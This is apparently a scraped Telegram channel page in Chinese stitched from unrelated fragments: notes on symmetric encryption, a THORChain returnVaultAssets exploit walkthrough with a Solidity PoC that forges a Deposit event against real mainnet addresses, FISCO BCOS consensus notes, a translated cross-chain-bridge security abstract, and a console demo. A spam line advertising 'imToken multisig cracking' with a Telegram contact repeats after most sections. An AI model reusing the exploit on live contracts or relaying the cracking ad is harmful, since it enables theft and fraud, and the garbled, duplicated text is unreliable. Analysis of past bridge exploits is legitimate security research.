image_2026-05-05_15-27-35.png
6.8 KB
对称加密的缺点是什么?
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
1. 密钥管理困难
对称加密算法需要使用同一把密钥进行加解密,因此密钥的管理非常重要。如果密钥被泄露,那么加密的数据也将被暴露。因此,密钥的生成、存储、传输和销毁都需要进行严格的管理。
2. 安全性受限
对称加密算法的安全性取决于密钥的长度和复杂度。如果密钥过于简单或者长度过短,就容易被破解。同时,对称加密算法的安全性也受到密码分析等攻击方法的影响。
3. 无法实现安全的密钥交换
对称加密算法需要使用同一把密钥进行加解密,因此在传输密钥的过程中容易被攻击者截获并破解。因此,密钥交换的安全性成为了对称加密算法的一个难点。
4. 不适用于开放环境
对称加密算法需要事先共享密钥,因此不适用于开放的环境,例如互联网。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
THORChain 的背景知识
THORChain 是一个跨链桥。最基础的特点和其他桥都一样。验证节点监听原链的交易,验证没有问题,就把交易传递到目标链去执行。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
THORChain 是一个跨链桥。最基础的特点和其他桥都一样。验证节点监听原链的交易,验证没有问题,就把交易传递到目标链去执行。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
下面围绕这几个关键词简单说下 THORChain:金库, TSS,轮班,Memo解析,Router。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
1. 金库:用户的token,流动性提供者的token都存在这里,类似uniswap的pool。
2. TSS:金库太重要了,为了安全,就需要多个验证者共同签名才能转移token,每个验证者相当于拿的都是私钥碎片,多个(一般超过2/3)验证者的私钥才是一个完整的金库地址的私钥。
3. 轮班:为了安全,验证者工作一段时间,就要离开,替补验证者登台干活。验证者轮班了,私钥也就变了,金库也得变。所以轮班的不只是验证者还有金库。
4. Router:路由合约,函数都由金库来操作。结合前面的知识就是:超过2/3的验证节点通过私钥签名,控制金库账户来调用Router合约。轮班时,金库=>新金库,就需要转移资产,调用的returnVaultAssets,本次漏洞攻击就在这个函数。
5. Memo解析:验证者,监听Router合约的Event事件来判断原链的交易,如果是 Deposit 事件,解析Memo字段,Memo是个拼接信息的字符串,判断去哪个链?要交易哪个Token?要多少?token最后发给哪个地址。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
概述攻击步骤
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
1. step1 攻击者创建攻击合约A,等待后面的重入时机。
2. step2 攻击者调用 THORChain 的 Router 合约的 returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo)。第一个参数传入攻击合约A的地址。
3. step3 Route转账ETH,调用攻击合约A的 fallback 方法。
4. step4 攻击合约A的 fallback,emit一个 Deposit 事件,Memo随便写,只要写的不符合规范就行。
5. step5 THORChain 验证节点,监听到 Deposit 事件,就认为有用户存钱了,但是解析Memo字段失败,就从金库中给用户退款。(其实用户没转钱,只是伪造了一个 Deposit 事件。 )
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
This media is not supported in your browser
VIEW IN TELEGRAM
sealerA的子节点sealerB的主要处理流程如下
(1) sealerB收到SealerA转发过来的Prepare包后,同样继续将该Prepare包转发给sealerB的子节点
(2) sealerB开始处理Prepare包,首先从交易池中获取命中的交易,填充到Prepare包的区块中,并选取节点获取缺失的交易:
(3) sealerB收到被请求节点回复的交易后,填充Prepare包内区块,并随机选取33%(可配)节点广播Prepare包状态
(4) 其他节点收到sealerB的状态包后,将其sealerB的最新状态包更新到缓存中
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
(1) sealerB收到SealerA转发过来的Prepare包后,同样继续将该Prepare包转发给sealerB的子节点
(2) sealerB开始处理Prepare包,首先从交易池中获取命中的交易,填充到Prepare包的区块中,并选取节点获取缺失的交易:
1. 若sealerB缓存来自节点sealerA的prepareStatus.blockHash等于Prepare.blockHash,则直接向父节点sealerA请求缺失交易
2. 若sealerB缓存的sealerA状态包哈希不等于Prepare.blockHash,但存在来自其他节点C的prepareStatus.blockHash等于prepare.blockHash,则向C请求缺失交易
3. 若sealerB缓存的任何节点prepareStatus的哈希均不但等于prepare.blockHash,最多等待100ms(可配)后,向Leader请求缺失的交易
(3) sealerB收到被请求节点回复的交易后,填充Prepare包内区块,并随机选取33%(可配)节点广播Prepare包状态
(4) 其他节点收到sealerB的状态包后,将其sealerB的最新状态包更新到缓存中
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
Abstract
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
跨链桥已经成为支持异构区块链之间资产互操作性的最流行的解决方案。然而,在提供高效灵活的跨链资产转移的同时,涉及链上智能合约和链下程序的复杂工作流程导致了新出现的安全问题。在过去的一年里,发生了十多起严重的跨链桥袭击事件,造成了数十亿的损失。由于很少有研究关注跨链桥的安全性,社区仍然缺乏减轻这一重大威胁的知识和工具。为了弥补这一差距,我们进行了关于跨链桥梁安全性的首次研究。我们记录了三种新的安全漏洞类别,并提出了一组安全属性和模式来描述它们。基于这些模式,我们设计了Xscope,这是一个自动工具,用于发现跨链桥中的安全违规行为并检测真实世界的攻击。我们在四个流行的跨链桥上评估Xscope。它成功地检测到所有已知的攻击,并发现以前未报告的可疑攻击。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
开始开始POC逻辑
写了很多次POC,这次是唯一一次,不是攻击合约主动调用的攻击流程。
注意,returnVaultAssets 这个函数就不是给用户调用的,是给金库调用的。攻击人调用,就是看中了它能transfer ETH触发fallback,并且它是public的漏洞。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
写了很多次POC,这次是唯一一次,不是攻击合约主动调用的攻击流程。
攻击合约只有一个函数 fallback,被动等待Router的returnVaultAssets调用。
fallback执行后,也不会立刻成功,可能是几个区块后,验证者节点解析了 Deposit事件失败,决定退款,攻击者才会得到Vault的转账。
于是最终的结果需要验证节点来驱动。所以,这个POC写完了也无法验证结果。
contract ContractTest is Test{
event Deposit(address indexed to, address indexed asset, uint amount, string memo);
function setUp() public {
vm.createSelectFork('mainnet', 12878653 - 1);
}
fallback() external payable {
address vaultAddress = address(0xf56cba49337a624e94042e325ad6bc864436e370);
address XRUNEAddress = address(0x69fa0fee221ad11012bab0fdb45d444d3d2ce71c);
uint safeAmount = 20_867_082_192_584_947_929_101_400;
string memory memo = "10% VAR bounty would have prevented this";
emit Deposit(vaultAddress, XRUNEAddress, safeAmount, memo);
}
}注意,returnVaultAssets 这个函数就不是给用户调用的,是给金库调用的。攻击人调用,就是看中了它能transfer ETH触发fallback,并且它是public的漏洞。
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
调用HelloWorld合约
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg
# 查看当前块高
[group:1]> getBlockNumber
1
# 调用get接口获取name变量 此处的合约地址是deploy指令返回的地址
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 get
---------------------------------------------------------------------------------------------
Return code: 0
description: transaction executed successfully
Return message: Success
---------------------------------------------------------------------------------------------
Return values:
[
"Hello,World!"
]
---------------------------------------------------------------------------------------------
# 查看当前块高,块高不变,因为get接口不更改账本状态
[group:1]> getBlockNumber
1
# 调用set设置name
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 set "Hello, FISCO BCOS"
transaction hash: 0x7e742c44091e0d6e4e1df666d957d123116622ab90b718699ce50f54ed791f6e
---------------------------------------------------------------------------------------------
transaction status: 0x0
description: transaction executed successfully
---------------------------------------------------------------------------------------------
Output
Receipt message: Success
Return message: Success
---------------------------------------------------------------------------------------------
Event logs
Event: {}
# 再次查看当前块高,块高增加表示已出块,账本状态已更改
[group:1]> getBlockNumber
2
# 调用get接口获取name变量,检查设置是否生效
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 get
---------------------------------------------------------------------------------------------
Return code: 0
description: transaction executed successfully
Return message: Success
---------------------------------------------------------------------------------------------
Return values:
[
"Hello,FISCO BCOS"
]
---------------------------------------------------------------------------------------------
# 退出控制台
[group:1]> quit
你要是不懂你可以随时在我的频道看消息 新内容充实自己的知识库。📚
【imToken】im钱包多签破解解除,要破解可以来联系: @heiksg